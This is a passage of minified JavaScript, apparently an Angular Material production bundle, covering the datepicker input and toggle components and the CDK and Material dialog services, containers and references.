new(h||O)(c.Y36(c.SBq),c.Y36(_._A,8),c.Y36(_.sG,8))},O.\\u0275dir=c.lG2({type:O,inputs:{value:"value",disabled:"disabled"},outputs:{dateChange:"dateChange",dateInput:"dateInput"},features:[c.TTD]}),O})();const at={provide:K.JU,useExisting:(0,c.Gpc)(()=>ot),multi:!0},Se={provide:K.Cf,useExisting:(0,c.Gpc)(()=>ot),multi:!0};let ot=(()=>{class O extends fe{constructor(h,$,ke,lt){super(h,$,ke),this._formField=lt,this._closedSubscription=g.w.EMPTY,this._validator=K.kI.compose(super._getValidators())}set matDatepicker(h){h&&(this._datepicker=h,this._closedSubscription=h.closedStream.subscribe(()=>this._onTouched()),this._registerModel(h.registerInput(this)))}get min(){return this._min}set min(h){const $=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h));this._dateAdapter.sameDate($,this._min)||(this._min=$,this._validatorOnChange())}get max(){return this._max}set max(h){const $=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h));this._dateAdapter.sameDate($,this._max)||(this._max=$,this._validatorOnChange())}get dateFilter(){return this._dateFilter}set dateFilter(h){const $=this._matchesFilter(this.value);this._dateFilter=h,this._matchesFilter(this.value)!==$&&this._validatorOnChange()}getConnectedOverlayOrigin(){return this._formField?this._formField.getConnectedOverlayOrigin():this._elementRef}getOverlayLabelId(){return this._formField?this._formField.getLabelId():this._elementRef.nativeElement.getAttribute("aria-labelledby")}getThemePalette(){return this._formField?this._formField.color:void 0}getStartValue(){return this.value}ngOnDestroy(){super.ngOnDestroy(),this._closedSubscription.unsubscribe()}_openPopup(){this._datepicker&&this._datepicker.open()}_getValueFromModel(h){return h}_assignValueToModel(h){this._model&&this._model.updateSelection(h,this)}_getMinDate(){return this._min}_getMaxDate(){return this._max}_getDateFilter(){return this._dateFilter}_shouldHandleChangeEvent(h){return h.source!==this}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(se.G_,8))},O.\\u0275dir=c.lG2({type:O,selectors:[["input","matDatepicker",""]],hostAttrs:[1,"mat-datepicker-input"],hostVars:6,hostBindings:function(h,$){1&h&&c.NdJ("input",function(lt){return $._onInput(lt.target.value)})("change",function(){return $._onChange()})("blur",function(){return $._onBlur()})("keydown",function(lt){return $._onKeydown(lt)}),2&h&&(c.Ikx("disabled",$.disabled),c.uIk("aria-haspopup",$._datepicker?"dialog":null)("aria-owns",(null==$._datepicker?null:$._datepicker.opened)&&$._datepicker.id||null)("min",$.min?$._dateAdapter.toIso8601($.min):null)("max",$.max?$._dateAdapter.toIso8601($.max):null)("data-mat-calendar",$._datepicker?$._datepicker.id:null))},inputs:{matDatepicker:"matDatepicker",min:"min",max:"max",dateFilter:["matDatepickerFilter","dateFilter"]},exportAs:["matDatepickerInput"],features:[c._Bn([at,Se,{provide:ee.Jk,useExisting:O}]),c.qOj]}),O})(),Ne=(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275dir=c.lG2({type:O,selectors:[["","matDatepickerToggleIcon",""]]}),O})(),ut=(()=>{class O{constructor(h,$,ke){this._intl=h,this._changeDetectorRef=$,this._stateChanges=g.w.EMPTY;const lt=Number(ke);this.tabIndex=lt||0===lt?lt:null}get disabled(){return void 0===this._disabled&&this.datepicker?this.datepicker.disabled:!!this._disabled}set disabled(h){this._disabled=(0,oe.Ig)(h)}ngOnChanges(h){h.datepicker&&this._watchStateChanges()}ngOnDestroy(){this._stateChanges.unsubscribe()}ngAfterContentInit(){this._watchStateChanges()}_open(h){this.datepicker&&!this.disabled&&(this.datepicker.open(),h.stopPropagation())}_watchStateChanges(){const h=this.datepicker?this.datepicker.stateChanges:(0,z.of)(),$=this.datepicker&&this.datepicker.datepickerInput?this.datepicker.datepickerInput.stateChanges:(0,z.of)(),ke=this.datepicker?(0,C.T)(this.datepicker.openedStream,this.datepicker.closedStream):(0,z.of)();this._stateChanges.unsubscribe(),this._stateChanges=(0,C.T)(this._intl.changes,h,$,ke).subscribe(()=>this._changeDetectorRef.markForCheck())}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36(c.sBO),c.$8M("tabindex"))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker-toggle"]],contentQueries:function(h,$,ke){if(1&h&&c.Suo(ke,Ne,5),2&h){let lt;c.iGM(lt=c.CRH())&&($._customIcon=lt.first)}},viewQuery:function(h,$){if(1&h&&c.Gf(bt,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._button=ke.first)}},hostAttrs:[1,"mat-datepicker-toggle"],hostVars:8,hostBindings:function(h,$){1&h&&c.NdJ("click",function(lt){return $._open(lt)}),2&h&&(c.uIk("tabindex",null)("data-mat-calendar",$.datepicker?$.datepicker.id:null),c.ekj("mat-datepicker-toggle-active",$.datepicker&&$.datepicker.opened)("mat-accent",$.datepicker&&"accent"===$.datepicker.color)("mat-warn",$.datepicker&&"warn"===$.datepicker.color))},inputs:{datepicker:["for","datepicker"],tabIndex:"tabIndex",ariaLabel:["aria-label","ariaLabel"],disabled:"disabled",disableRipple:"disableRipple"},exportAs:["matDatepickerToggle"],features:[c.TTD],ngContentSelectors:re,decls:4,vars:6,consts:[["mat-icon-button","","type","button",3,"disabled","disableRipple"],["button",""],["class","mat-datepicker-toggle-default-icon","viewBox","0 0 24 24","width","24px","height","24px","fill","currentColor","focusable","false",4,"ngIf"],["viewBox","0 0 24 24","width","24px","height","24px","fill","currentColor","focusable","false",1,"mat-datepicker-toggle-default-icon"],["d","M19 3h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99.9-1.99 2L3 19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V8h14v11zM7 10h5v5H7z"]],template:function(h,$){1&h&&(c.F$t(De),c.TgZ(0,"button",0,1),c.YNc(2,ze,2,0,"svg",2),c.Hsn(3),c.qZA()),2&h&&(c.Q6J("disabled",$.disabled)("disableRipple",$.disableRipple),c.uIk("aria-haspopup",$.datepicker?"dialog":null)("aria-label",$.ariaLabel||$._intl.openCalendarLabel)("tabindex",$.disabled?-1:$.tabIndex),c.xp6(2),c.Q6J("ngIf",!$._customIcon))},dependencies:[u.O5,f.lW],styles:[".mat-form-field-appearance-legacy .mat-form-field-prefix .mat-datepicker-toggle-default-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-datepicker-toggle-default-icon{width:1em}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-datepicker-toggle-default-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-datepicker-toggle-default-icon{display:block;width:1.5em;height:1.5em}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button .mat-datepicker-toggle-default-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button .mat-datepicker-toggle-default-icon{margin:auto}.cdk-high-contrast-active .mat-datepicker-toggle-default-icon{color:CanvasText}"],encapsulation:2,changeDetection:0}),O})(),Me=(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275mod=c.oAB({type:O}),O.\\u0275inj=c.cJS({providers:[pe,Ae],imports:[u.ez,f.ot,a.U8,n.rt,s.eL,_.BQ,E.ZD]}),O})()},5412:(At,ae,d)=>{"use strict";d.d(ae,{WI:()=>ve,uw:()=>X,H8:()=>Dt,ZT:()=>ct,xY:()=>Et,Is:()=>Ie,so:()=>De,uh:()=>Je});var n=d(2687),a=d(8184),s=d(3353),u=d(4080),c=d(6895),f=d(4650),E=d(9521),_=d(8929),S=d(8514),g=d(1086),C=d(445),z=d(1059);function H(te,x){}class j{constructor(){this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.ariaModal=!0,this.autoFocus="first-tabbable",this.restoreFocus=!0,this.closeOnNavigation=!0,this.closeOnDestroy=!0}}let G=(()=>{class te extends u.en{constructor(m,b,B,ie,Xe,it,wt,Vt){super(),this._elementRef=m,this._focusTrapFactory=b,this._config=ie,this._interactivityChecker=Xe,this._ngZone=it,this._overlayRef=wt,this._focusMonitor=Vt,this._elementFocusedBeforeDialogWasOpened=null,this._closeInteractionType=null,this.attachDomPortal=Gt=>{this._portalOutlet.hasAttached();const qt=this._portalOutlet.attachDomPortal(Gt);return this._contentAttached(),qt},this._ariaLabelledBy=this._config.ariaLabelledBy||null,this._document=B}_contentAttached(){this._initializeFocusTrap(),this._handleBackdropClicks(),this._captureInitialFocus()}_captureInitialFocus(){this._trapFocus()}ngOnDestroy(){this._restoreFocus()}attachComponentPortal(m){this._portalOutlet.hasAttached();const b=this._portalOutlet.attachComponentPortal(m);return this._contentAttached(),b}attachTemplatePortal(m){this._portalOutlet.hasAttached();const b=this._portalOutlet.attachTemplatePortal(m);return this._contentAttached(),b}_recaptureFocus(){this._containsFocus()||this._trapFocus()}_forceFocus(m,b){this._interactivityChecker.isFocusable(m)||(m.tabIndex=-1,this._ngZone.runOutsideAngular(()=>{const B=()=>{m.removeEventListener("blur",B),m.removeEventListener("mousedown",B),m.removeAttribute("tabindex")};m.addEventListener("blur",B),m.addEventListener("mousedown",B)})),m.focus(b)}_focusByCssSelector(m,b){let B=this._elementRef.nativeElement.querySelector(m);B&&this._forceFocus(B,b)}_trapFocus(){const m=this._elementRef.nativeElement;switch(this._config.autoFocus){case!1:case"dialog":this._containsFocus()||m.focus();break;case!0:case"first-tabbable":this._focusTrap.focusInitialElementWhenReady().then(b=>{b||this._focusDialogContainer()});break;case"first-heading":this._focusByCssSelector(\'h1, h2, h3, h4, h5, h6, [role="heading"]\');break;default:this._focusByCssSelector(this._config.autoFocus)}}_restoreFocus(){const m=this._config.restoreFocus;let b=null;if("string"==typeof m?b=this._document.querySelector(m):"boolean"==typeof m?b=m?this._elementFocusedBeforeDialogWasOpened:null:m&&(b=m),this._config.restoreFocus&&b&&"function"==typeof b.focus){const B=(0,s.ht)(),ie=this._elementRef.nativeElement;(!B||B===this._document.body||B===ie||ie.contains(B))&&(this._focusMonitor?(this._focusMonitor.focusVia(b,this._closeInteractionType),this._closeInteractionType=null):b.focus())}this._focusTrap&&this._focusTrap.destroy()}_focusDialogContainer(){this._elementRef.nativeElement.focus&&this._elementRef.nativeElement.focus()}_containsFocus(){const m=this._elementRef.nativeElement,b=(0,s.ht)();return m===b||m.contains(b)}_initializeFocusTrap(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._document&&(this._elementFocusedBeforeDialogWasOpened=(0,s.ht)())}_handleBackdropClicks(){this._overlayRef.backdropClick().subscribe(()=>{this._config.disableClose&&this._recaptureFocus()})}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(f.SBq),f.Y36(n.qV),f.Y36(c.K0,8),f.Y36(j),f.Y36(n.ic),f.Y36(f.R0b),f.Y36(a.Iu),f.Y36(n.tE))},te.\\u0275cmp=f.Xpm({type:te,selectors:[["cdk-dialog-container"]],viewQuery:function(m,b){if(1&m&&f.Gf(u.Pl,7),2&m){let B;f.iGM(B=f.CRH())&&(b._portalOutlet=B.first)}},hostAttrs:["tabindex","-1",1,"cdk-dialog-container"],hostVars:6,hostBindings:function(m,b){2&m&&f.uIk("id",b._config.id||null)("role",b._config.role)("aria-modal",b._config.ariaModal)("aria-labelledby",b._config.ariaLabel?null:b._ariaLabelledBy)("aria-label",b._config.ariaLabel)("aria-describedby",b._config.ariaDescribedBy||null)},features:[f.qOj],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(m,b){1&m&&f.YNc(0,H,0,0,"ng-template",0)},dependencies:[u.Pl],styles:[".cdk-dialog-container{display:block;width:100%;height:100%;min-height:inherit;max-height:inherit}"],encapsulation:2}),te})();class Q{constructor(x,m){this.overlayRef=x,this.config=m,this.closed=new _.xQ,this.disableClose=m.disableClose,this.backdropClick=x.backdropClick(),this.keydownEvents=x.keydownEvents(),this.outsidePointerEvents=x.outsidePointerEvents(),this.id=m.id,this.keydownEvents.subscribe(b=>{b.keyCode===E.hY&&!this.disableClose&&!(0,E.Vb)(b)&&(b.preventDefault(),this.close(void 0,{focusOrigin:"keyboard"}))}),this.backdropClick.subscribe(()=>{this.disableClose||this.close(void 0,{focusOrigin:"mouse"})})}close(x,m){if(this.containerInstance){const b=this.closed;this.containerInstance._closeInteractionType=m?.focusOrigin||"program",this.overlayRef.dispose(),b.next(x),b.complete(),this.componentInstance=this.containerInstance=null}}updatePosition(){return this.overlayRef.updatePosition(),this}updateSize(x="",m=""){return this.overlayRef.updateSize({width:x,height:m}),this}addPanelClass(x){return this.overlayRef.addPanelClass(x),this}removePanelClass(x){return this.overlayRef.removePanelClass(x),this}}const oe=new f.OlP("DialogScrollStrategy"),Ce=new f.OlP("DialogData"),k=new f.OlP("DefaultDialogConfig"),se={provide:oe,deps:[a.aV],useFactory:function K(te){return()=>te.scrollStrategies.block()}};let ee=0,q=(()=>{class te{constructor(m,b,B,ie,Xe,it){this._overlay=m,this._injector=b,this._defaultOptions=B,this._parentDialog=ie,this._overlayContainer=Xe,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new _.xQ,this._afterOpenedAtThisLevel=new _.xQ,this._ariaHiddenElements=new Map,this.afterAllClosed=(0,S.P)(()=>this.openDialogs.length?this._getAfterAllClosed():this._getAfterAllClosed().pipe((0,z.O)(void 0))),this._scrollStrategy=it}get openDialogs(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}get afterOpened(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}open(m,b){(b={...this._defaultOptions||new j,...b}).id=b.id||"cdk-dialog-"+ee++,b.id&&this.getDialogById(b.id);const ie=this._getOverlayConfig(b),Xe=this._overlay.create(ie),it=new Q(Xe,b),wt=this._attachContainer(Xe,it,b);return it.containerInstance=wt,this._attachDialogContent(m,it,wt,b),this.openDialogs.length||this._hideNonDialogContentFromAssistiveTechnology(),this.openDialogs.push(it),it.closed.subscribe(()=>this._removeOpenDialog(it,!0)),this.afterOpened.next(it),it}closeAll(){we(this.openDialogs,m=>m.close())}getDialogById(m){return this.openDialogs.find(b=>b.id===m)}ngOnDestroy(){we(this._openDialogsAtThisLevel,m=>{!1===m.config.closeOnDestroy&&this._removeOpenDialog(m,!1)}),we(this._openDialogsAtThisLevel,m=>m.close()),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete(),this._openDialogsAtThisLevel=[]}_getOverlayConfig(m){const b=new a.X_({positionStrategy:m.positionStrategy||this._overlay.position().global().centerHorizontally().centerVertically(),scrollStrategy:m.scrollStrategy||this._scrollStrategy(),panelClass:m.panelClass,hasBackdrop:m.hasBackdrop,direction:m.direction,minWidth:m.minWidth,minHeight:m.minHeight,maxWidth:m.maxWidth,maxHeight:m.maxHeight,width:m.width,height:m.height,disposeOnNavigation:m.closeOnNavigation});return m.backdropClass&&(b.backdropClass=m.backdropClass),b}_attachContainer(m,b,B){const ie=B.injector||B.viewContainerRef?.injector,Xe=[{provide:j,useValue:B},{provide:Q,useValue:b},{provide:a.Iu,useValue:m}];let it;B.container?"function"==typeof B.container?it=B.container:(it=B.container.type,Xe.push(...B.container.providers(B))):it=G;const wt=new u.C5(it,B.viewContainerRef,f.zs3.create({parent:ie||this._injector,providers:Xe}),B.componentFactoryResolver);return m.attach(wt).instance}_attachDialogContent(m,b,B,ie){if(m instanceof f.Rgc){const Xe=this._createInjector(ie,b,B,void 0);let it={$implicit:ie.data,dialogRef:b};ie.templateContext&&(it={...it,..."function"==typeof ie.templateContext?ie.templateContext():ie.templateContext}),B.attachTemplatePortal(new u.UE(m,null,it,Xe))}else{const Xe=this._createInjector(ie,b,B,this._injector),it=B.attachComponentPortal(new u.C5(m,ie.viewContainerRef,Xe,ie.componentFactoryResolver));b.componentInstance=it.instance}}_createInjector(m,b,B,ie){const Xe=m.injector||m.viewContainerRef?.injector,it=[{provide:Ce,useValue:m.data},{provide:Q,useValue:b}];return m.providers&&("function"==typeof m.providers?it.push(...m.providers(b,m,B)):it.push(...m.providers)),m.direction&&(!Xe||!Xe.get(C.Is,null,f.XFs.Optional))&&it.push({provide:C.Is,useValue:{value:m.direction,change:(0,g.of)()}}),f.zs3.create({parent:Xe||ie,providers:it})}_removeOpenDialog(m,b){const B=this.openDialogs.indexOf(m);B>-1&&(this.openDialogs.splice(B,1),this.openDialogs.length||(this._ariaHiddenElements.forEach((ie,Xe)=>{ie?Xe.setAttribute("aria-hidden",ie):Xe.removeAttribute("aria-hidden")}),this._ariaHiddenElements.clear(),b&&this._getAfterAllClosed().next()))}_hideNonDialogContentFromAssistiveTechnology(){const m=this._overlayContainer.getContainerElement();if(m.parentElement){const b=m.parentElement.children;for(let B=b.length-1;B>-1;B--){const ie=b[B];ie!==m&&"SCRIPT"!==ie.nodeName&&"STYLE"!==ie.nodeName&&!ie.hasAttribute("aria-live")&&(this._ariaHiddenElements.set(ie,ie.getAttribute("aria-hidden")),ie.setAttribute("aria-hidden","true"))}}}_getAfterAllClosed(){const m=this._parentDialog;return m?m._getAfterAllClosed():this._afterAllClosedAtThisLevel}}return te.\\u0275fac=function(m){return new(m||te)(f.LFG(a.aV),f.LFG(f.zs3),f.LFG(k,8),f.LFG(te,12),f.LFG(a.Xj),f.LFG(oe))},te.\\u0275prov=f.Yz7({token:te,factory:te.\\u0275fac}),te})();function we(te,x){let m=te.length;for(;m--;)x(te[m])}let ce=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=f.oAB({type:te}),te.\\u0275inj=f.cJS({providers:[q,se],imports:[a.U8,u.eL,n.rt,u.eL]}),te})();var je=d(3238),Ze=d(6787),le=d(2198),Oe=d(2986),Qe=d(7340);function Ye(te,x){}const qe={params:{enterAnimationDuration:"150ms",exitAnimationDuration:"75ms"}},Ke={dialogContainer:(0,Qe.X$)("dialogContainer",[(0,Qe.SB)("void, exit",(0,Qe.oB)({opacity:0,transform:"scale(0.7)"})),(0,Qe.SB)("enter",(0,Qe.oB)({transform:"none"})),(0,Qe.eR)("* => enter",(0,Qe.ru)([(0,Qe.jt)("{{enterAnimationDuration}} cubic-bezier(0, 0, 0.2, 1)",(0,Qe.oB)({transform:"none",opacity:1})),(0,Qe.IO)("@*",(0,Qe.pV)(),{optional:!0})]),qe),(0,Qe.eR)("* => void, * => exit",(0,Qe.ru)([(0,Qe.jt)("{{exitAnimationDuration}} cubic-bezier(0.4, 0.0, 0.2, 1)",(0,Qe.oB)({opacity:0})),(0,Qe.IO)("@*",(0,Qe.pV)(),{optional:!0})]),qe)])};class dt{constructor(){this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.maxWidth="80vw",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.ariaModal=!0,this.autoFocus="first-tabbable",this.restoreFocus=!0,this.delayFocusTrap=!0,this.closeOnNavigation=!0,this.enterAnimationDuration=qe.params.enterAnimationDuration,this.exitAnimationDuration=qe.params.exitAnimationDuration}}let bt=(()=>{class te extends G{constructor(m,b,B,ie,Xe,it,wt,Vt){super(m,b,B,ie,Xe,it,wt,Vt),this._animationStateChanged=new f.vpe}_captureInitialFocus(){this._config.delayFocusTrap||this._trapFocus()}_openAnimationDone(m){this._config.delayFocusTrap&&this._trapFocus(),this._animationStateChanged.next({state:"opened",totalTime:m})}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(f.SBq),f.Y36(n.qV),f.Y36(c.K0,8),f.Y36(dt),f.Y36(n.ic),f.Y36(f.R0b),f.Y36(a.Iu),f.Y36(n.tE))},te.\\u0275cmp=f.Xpm({type:te,selectors:[["ng-component"]],features:[f.qOj],decls:0,vars:0,template:function(m,b){},encapsulation:2}),te})(),ze=(()=>{class te extends bt{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt){super(m,b,B,ie,Xe,it,wt,Gt),this._changeDetectorRef=Vt,this._state="enter"}_onAnimationDone({toState:m,totalTime:b}){"enter"===m?this._openAnimationDone(b):"exit"===m&&this._animationStateChanged.next({state:"closed",totalTime:b})}_onAnimationStart({toState:m,totalTime:b}){"enter"===m?this._animationStateChanged.next({state:"opening",totalTime:b}):("exit"===m||"void"===m)&&this._animationStateChanged.next({state:"closing",totalTime:b})}_startExitAnimation(){this._state="exit",this._changeDetectorRef.markForCheck()}_getAnimationState(){return{value:this._state,params:{enterAnimationDuration:this._config.enterAnimationDuration||qe.params.enterAnimationDuration,exitAnimationDuration:this._config.exitAnimationDuration||qe.params.exitAnimationDuration}}}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(f.SBq),f.Y36(n.qV),f.Y36(c.K0,8),f.Y36(dt),f.Y36(n.ic),f.Y36(f.R0b),f.Y36(a.Iu),f.Y36(f.sBO),f.Y36(n.tE))},te.\\u0275cmp=f.Xpm({type:te,selectors:[["mat-dialog-container"]],hostAttrs:["tabindex","-1",1,"mat-dialog-container"],hostVars:7,hostBindings:function(m,b){1&m&&f.WFA("@dialogContainer.start",function(ie){return b._onAnimationStart(ie)})("@dialogContainer.done",function(ie){return b._onAnimationDone(ie)}),2&m&&(f.Ikx("id",b._config.id),f.uIk("aria-modal",b._config.ariaModal)("role",b._config.role)("aria-labelledby",b._config.ariaLabel?null:b._ariaLabelledBy)("aria-label",b._config.ariaLabel)("aria-describedby",b._config.ariaDescribedBy||null),f.d8E("@dialogContainer",b._getAnimationState()))},features:[f.qOj],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(m,b){1&m&&f.YNc(0,Ye,0,0,"ng-template",0)},dependencies:[u.Pl],styles:[".mat-dialog-container{display:block;padding:24px;border-radius:4px;box-sizing:border-box;overflow:auto;outline:0;width:100%;height:100%;min-height:inherit;max-height:inherit}.cdk-high-contrast-active .mat-dialog-container{outline:solid 1px}.mat-dialog-content{display:block;margin:0 -24px;padding:0 24px;max-height:65vh;overflow:auto;-webkit-overflow-scrolling:touch}.mat-dialog-title{margin:0 0 20px;display:block}.mat-dialog-actions{padding:8px 0;display:flex;flex-wrap:wrap;min-height:52px;align-items:center;box-sizing:content-box;margin-bottom:-24px}.mat-dialog-actions.mat-dialog-actions-align-center,.mat-dialog-actions[align=center]{justify-content:center}.mat-dialog-actions.mat-dialog-actions-align-end,.mat-dialog-actions[align=end]{justify-content:flex-end}.mat-dialog-actions .mat-button-base+.mat-button-base,.mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-dialog-actions .mat-button-base+.mat-button-base,[dir=rtl] .mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:0;margin-right:8px}"],encapsulation:2,data:{animation:[Ke.dialogContainer]}}),te})();class De{constructor(x,m,b){this._ref=x,this._containerInstance=b,this._afterOpened=new _.xQ,this._beforeClosed=new _.xQ,this._state=0,this.disableClose=m.disableClose,this.id=x.id,b._animationStateChanged.pipe((0,le.h)(B=>"opened"===B.state),(0,Oe.q)(1)).subscribe(()=>{this._afterOpened.next(),this._afterOpened.complete()}),b._animationStateChanged.pipe((0,le.h)(B=>"closed"===B.state),(0,Oe.q)(1)).subscribe(()=>{clearTimeout(this._closeFallbackTimeout),this._finishDialogClose()}),x.overlayRef.detachments().subscribe(()=>{this._beforeClosed.next(this._result),this._beforeClosed.complete(),this._finishDialogClose()}),(0,Ze.T)(this.backdropClick(),this.keydownEvents().pipe((0,le.h)(B=>B.keyCode===E.hY&&!this.disableClose&&!(0,E.Vb)(B)))).subscribe(B=>{this.disableClose||(B.preventDefault(),re(this,"keydown"===B.type?"keyboard":"mouse"))})}close(x){this._result=x,this._containerInstance._animationStateChanged.pipe((0,le.h)(m=>"closing"===m.state),(0,Oe.q)(1)).subscribe(m=>{this._beforeClosed.next(x),this._beforeClosed.complete(),this._ref.overlayRef.detachBackdrop(),this._closeFallbackTimeout=setTimeout(()=>this._finishDialogClose(),m.totalTime+100)}),this._state=1,this._containerInstance._startExitAnimation()}afterOpened(){return this._afterOpened}afterClosed(){return this._ref.closed}beforeClosed(){return this._beforeClosed}backdropClick(){return this._ref.backdropClick}keydownEvents(){return this._ref.keydownEvents}updatePosition(x){let m=this._ref.config.positionStrategy;return x&&(x.left||x.right)?x.left?m.left(x.left):m.right(x.right):m.centerHorizontally(),x&&(x.top||x.bottom)?x.top?m.top(x.top):m.bottom(x.bottom):m.centerVertically(),this._ref.updatePosition(),this}updateSize(x="",m=""){return this._ref.updateSize(x,m),this}addPanelClass(x){return this._ref.addPanelClass(x),this}removePanelClass(x){return this._ref.removePanelClass(x),this}getState(){return this._state}_finishDialogClose(){this._state=2,this._ref.close(this._result,{focusOrigin:this._closeInteractionType}),this.componentInstance=null}}function re(te,x,m){return te._closeInteractionType=x,te.close(m)}const ve=new f.OlP("MatDialogData"),We=new f.OlP("mat-dialog-default-options"),xt=new f.OlP("mat-dialog-scroll-strategy"),P={provide:xt,deps:[a.aV],useFactory:function pe(te){return()=>te.scrollStrategies.block()}};let w=0,R=(()=>{class te{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt,qt){this._overlay=m,this._defaultOptions=B,this._parentDialog=ie,this._dialogRefConstructor=wt,this._dialogContainerType=Vt,this._dialogDataToken=Gt,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new _.xQ,this._afterOpenedAtThisLevel=new _.xQ,this._idPrefix="mat-dialog-",this.afterAllClosed=(0,S.P)(()=>this.openDialogs.length?this._getAfterAllClosed():this._getAfterAllClosed().pipe((0,z.O)(void 0))),this._scrollStrategy=it,this._dialog=b.get(q)}get openDialogs(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}get afterOpened(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}_getAfterAllClosed(){const m=this._parentDialog;return m?m._getAfterAllClosed():this._afterAllClosedAtThisLevel}open(m,b){let B;(b={...this._defaultOptions||new dt,...b}).id=b.id||`${this._idPrefix}${w++}`,b.scrollStrategy=b.scrollStrategy||this._scrollStrategy();const ie=this._dialog.open(m,{...b,positionStrategy:this._overlay.position().global().centerHorizontally().centerVertically(),disableClose:!0,closeOnDestroy:!1,container:{type:this._dialogContainerType,providers:()=>[{provide:dt,useValue:b},{provide:j,useValue:b}]},templateContext:()=>({dialogRef:B}),providers:(Xe,it,wt)=>(B=new this._dialogRefConstructor(Xe,b,wt),B.updatePosition(b?.position),[{provide:this._dialogContainerType,useValue:wt},{provide:this._dialogDataToken,useValue:it.data},{provide:this._dialogRefConstructor,useValue:B}])});return B.componentInstance=ie.componentInstance,this.openDialogs.push(B),this.afterOpened.next(B),B.afterClosed().subscribe(()=>{const Xe=this.openDialogs.indexOf(B);Xe>-1&&(this.openDialogs.splice(Xe,1),this.openDialogs.length||this._getAfterAllClosed().next())}),B}closeAll(){this._closeDialogs(this.openDialogs)}getDialogById(m){return this.openDialogs.find(b=>b.id===m)}ngOnDestroy(){this._closeDialogs(this._openDialogsAtThisLevel),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete()}_closeDialogs(m){let b=m.length;for(;b--;)m[b].close()}}return te.\\u0275fac=function(m){f.$Z()},te.\\u0275prov=f.Yz7({token:te,factory:te.\\u0275fac}),te})(),X=(()=>{class te extends R{constructor(m,b,B,ie,Xe,it,wt,Vt){super(m,b,ie,it,wt,Xe,De,ze,ve,Vt)}}return te.\\u0275fac=function(m){return new(m||te)(f.LFG(a.aV),f.LFG(f.zs3),f.LFG(c.Ye,8),f.LFG(We,8),f.LFG(xt),f.LFG(te,12),f.LFG(a.Xj),f.LFG(f.QbO,8))},te.\\u0275prov=f.Yz7({token:te,factory:te.\\u0275fac}),te})(),_e=0,ct=(()=>{class te{constructor(m,b,B){this.dialogRef=m,this._elementRef=b,this._dialog=B,this.type="button"}ngOnInit(){this.dialogRef||(this.dialogRef=Pt(this._elementRef,this._dialog.openDialogs))}ngOnChanges(m){const b=m._matDialogClose||m._matDialogCloseResult;b&&(this.dialogResult=b.currentValue)}_onButtonClick(m){re(this.dialogRef,0===m.screenX&&0===m.screenY?"keyboard":"mouse",this.dialogResult)}}return te.\\u0275fac=function(m){return new(m||te)(f.Y36(De,8),f.Y36(f.SBq),f.Y36(X))},te.\\u0275dir=f.lG2({type:te,selectors:[["","mat-dialog-close",""],["","matDialogClose",""]],hostVars:2,hostBindings:function(m,b){1&m&&f.NdJ("click",function(ie){return b._onButtonClick(ie)}),2&m&&f.uIk("aria-label",b.ariaLabel||null)("type",b.type)},inputs:{ariaLabel:["aria-label","ariaLabel"],type:"type",dialogResult:["mat-dialog-close","dialogResult"],_matDialogClose:["matDialogClose","_matDialogClose"]},exportAs:["matDialogClose"],features:[f.TTD]}),te})(),Je=(()=>{class te{constructor(m,b,B){this._dialogRef=m,this._elementRef=b,this._dialog=B,this.id="mat-dialog-title-"+_e++}ngOnInit(){this._dialogRef||(this._dialogRef=Pt(this._elementRef,this._dialog.openDialogs)),this._dialogRef&&Promise.resolve().then(()=>{const m=this._dialogRef._containerInstance;m&&!m._ariaLabelledBy&&(m._ariaLabelledBy=this.id)})}}return te.\\u0275fac=function(m){return 